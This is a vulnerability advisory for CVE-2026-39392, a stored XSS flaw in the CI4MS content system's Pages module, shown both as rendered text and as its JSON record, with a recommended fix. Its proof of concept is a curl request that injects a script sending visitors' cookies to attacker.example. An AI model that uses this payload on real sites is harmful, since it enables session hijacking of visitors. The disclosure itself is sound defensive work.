GHSA-FJPJ-6QCQ-6PW2

Vulnerability from github – Published: 2026-04-08 19:15 – Updated: 2026-04-08 19:15
VLAI?
Summary
CI4MS has stored XSS in Pages Content Due to Missing html_purify Sanitization
Details

Summary

The Pages module does not apply the html_purify validation rule to content fields during create and update operations, while the Blog module does. Page content is stored unsanitized in the database and rendered as raw HTML on the public frontend via echo $pageInfo->content. An authenticated admin with page-editing privileges can inject arbitrary JavaScript that executes in the browser of every public visitor viewing the page.

Details

The Blog module correctly applies HTMLPurifier sanitization to content fields:

modules/Blog/Controllers/Blog.php:82

'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],

The Pages module omits this rule in both create and update methods:

modules/Pages/Controllers/Pages.php:82 (create)

'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required'],

modules/Pages/Controllers/Pages.php:130 (update)

'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required'],

Content is stored directly without sanitization:

modules/Pages/Controllers/Pages.php:111 (create path)

'content' => $lData['content'],

modules/Pages/Controllers/Pages.php:157 (update path)

'content' => $lData['content'],

On the public frontend, the content is rendered as raw HTML without escaping:

app/Views/templates/default/pages.php:32

<?php echo $pageInfo->content ?>

Note that the same template correctly escapes the title field on line 9 using esc($pageInfo->title), further confirming the content output is an oversight.

The html_purify custom validation rule is defined in modules/Backend/Validation/CustomRules.php:54-73 and uses the HTMLPurifier library to strip dangerous HTML (script tags, event handlers) while preserving safe rich content. Its absence from the Pages validation is the root cause.

PoC

Step 1: Create a page with XSS payload (requires admin session)

curl -X POST https://target/backend/pages/create \
  -b 'ci_session=ADMIN_SESSION_COOKIE' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'lang[tr][title]=Test+Page&lang[tr][seflink]=test-xss-page&lang[tr][content]=<p>Normal+content</p><script>document.location="https://attacker.example/?c="%2Bdocument.cookie</script>&isActive=1'

Step 2: Visit the page as any unauthenticated user

https://target/tr/test-xss-page

Expected result: The <script> tag executes in the visitor's browser, sending their cookies to the attacker-controlled server.

Impact

  • Session hijacking: Attacker steals session cookies of any visitor, including other administrators
  • Credential theft: Injected JavaScript can render fake login forms or keylog credentials
  • Site defacement: Arbitrary HTML/JS can modify the public-facing page for all visitors
  • Malware distribution: Injected scripts can redirect visitors or load external payloads

The attack requires admin-level authentication (PR:H), but the impact crosses the security boundary to affect all unauthenticated public visitors (S:C). In a multi-admin CMS environment, a lower-privileged admin with only page-editing permissions could compromise higher-privileged admin sessions.

Recommended Fix

Add the html_purify validation rule to both the create and update methods in the Pages controller, consistent with the Blog module:

modules/Pages/Controllers/Pages.php:82 — change:

'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required'],

to:

'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],

modules/Pages/Controllers/Pages.php:130 — apply the same change:

'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],

Additionally, as defense-in-depth, escape content output in the view template or use the existing esc() helper with the 'raw' context for trusted HTML, ensuring HTMLPurifier has already processed it before storage.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.31.3.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "ci4-cms-erp/ci4ms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.31.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-39392"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-08T19:15:42Z",
    "nvd_published_at": "2026-04-08T15:16:14Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe Pages module does not apply the `html_purify` validation rule to content fields during create and update operations, while the Blog module does. Page content is stored unsanitized in the database and rendered as raw HTML on the public frontend via `echo $pageInfo-\u003econtent`. An authenticated admin with page-editing privileges can inject arbitrary JavaScript that executes in the browser of every public visitor viewing the page.\n\n## Details\n\nThe Blog module correctly applies HTMLPurifier sanitization to content fields:\n\n**`modules/Blog/Controllers/Blog.php:82`**\n```php\n\u0027lang.*.content\u0027 =\u003e [\u0027label\u0027 =\u003e lang(\u0027Backend.content\u0027), \u0027rules\u0027 =\u003e \u0027required|html_purify\u0027],\n```\n\nThe Pages module omits this rule in both create and update methods:\n\n**`modules/Pages/Controllers/Pages.php:82`** (create)\n```php\n\u0027lang.*.content\u0027 =\u003e [\u0027label\u0027 =\u003e lang(\u0027Backend.content\u0027), \u0027rules\u0027 =\u003e \u0027required\u0027],\n```\n\n**`modules/Pages/Controllers/Pages.php:130`** (update)\n```php\n\u0027lang.*.content\u0027 =\u003e [\u0027label\u0027 =\u003e lang(\u0027Backend.content\u0027), \u0027rules\u0027 =\u003e \u0027required\u0027],\n```\n\nContent is stored directly without sanitization:\n\n**`modules/Pages/Controllers/Pages.php:111`** (create path)\n```php\n\u0027content\u0027 =\u003e $lData[\u0027content\u0027],\n```\n\n**`modules/Pages/Controllers/Pages.php:157`** (update path)\n```php\n\u0027content\u0027 =\u003e $lData[\u0027content\u0027],\n```\n\nOn the public frontend, the content is rendered as raw HTML without escaping:\n\n**`app/Views/templates/default/pages.php:32`**\n```php\n\u003c?php echo $pageInfo-\u003econtent ?\u003e\n```\n\nNote that the same template correctly escapes the title field on line 9 using `esc($pageInfo-\u003etitle)`, further confirming the content output is an oversight.\n\nThe `html_purify` custom validation rule is defined in `modules/Backend/Validation/CustomRules.php:54-73` and uses the HTMLPurifier library to strip dangerous HTML (script tags, event handlers) while preserving safe rich content. Its absence from the Pages validation is the root cause.\n\n## PoC\n\n**Step 1: Create a page with XSS payload (requires admin session)**\n```bash\ncurl -X POST https://target/backend/pages/create \\\n  -b \u0027ci_session=ADMIN_SESSION_COOKIE\u0027 \\\n  -H \u0027Content-Type: application/x-www-form-urlencoded\u0027 \\\n  -d \u0027lang[tr][title]=Test+Page\u0026lang[tr][seflink]=test-xss-page\u0026lang[tr][content]=\u003cp\u003eNormal+content\u003c/p\u003e\u003cscript\u003edocument.location=\"https://attacker.example/?c=\"%2Bdocument.cookie\u003c/script\u003e\u0026isActive=1\u0027\n```\n\n**Step 2: Visit the page as any unauthenticated user**\n```\nhttps://target/tr/test-xss-page\n```\n\n**Expected result:** The `\u003cscript\u003e` tag executes in the visitor\u0027s browser, sending their cookies to the attacker-controlled server.\n\n## Impact\n\n- **Session hijacking:** Attacker steals session cookies of any visitor, including other administrators\n- **Credential theft:** Injected JavaScript can render fake login forms or keylog credentials\n- **Site defacement:** Arbitrary HTML/JS can modify the public-facing page for all visitors\n- **Malware distribution:** Injected scripts can redirect visitors or load external payloads\n\nThe attack requires admin-level authentication (PR:H), but the impact crosses the security boundary to affect all unauthenticated public visitors (S:C). In a multi-admin CMS environment, a lower-privileged admin with only page-editing permissions could compromise higher-privileged admin sessions.\n\n## Recommended Fix\n\nAdd the `html_purify` validation rule to both the create and update methods in the Pages controller, consistent with the Blog module:\n\n**`modules/Pages/Controllers/Pages.php:82`** \u2014 change:\n```php\n\u0027lang.*.content\u0027 =\u003e [\u0027label\u0027 =\u003e lang(\u0027Backend.content\u0027), \u0027rules\u0027 =\u003e \u0027required\u0027],\n```\nto:\n```php\n\u0027lang.*.content\u0027 =\u003e [\u0027label\u0027 =\u003e lang(\u0027Backend.content\u0027), \u0027rules\u0027 =\u003e \u0027required|html_purify\u0027],\n```\n\n**`modules/Pages/Controllers/Pages.php:130`** \u2014 apply the same change:\n```php\n\u0027lang.*.content\u0027 =\u003e [\u0027label\u0027 =\u003e lang(\u0027Backend.content\u0027), \u0027rules\u0027 =\u003e \u0027required|html_purify\u0027],\n```\n\nAdditionally, as defense-in-depth, escape content output in the view template or use the existing `esc()` helper with the `\u0027raw\u0027` context for trusted HTML, ensuring HTMLPurifier has already processed it before storage.",
  "id": "GHSA-fjpj-6qcq-6pw2",
  "modified": "2026-04-08T19:15:42Z",
  "published": "2026-04-08T19:15:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-fjpj-6qcq-6pw2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39392"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ci4-cms-erp/ci4ms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.4.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "CI4MS has stored XSS in Pages Content Due to Missing html_purify Sanitization"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…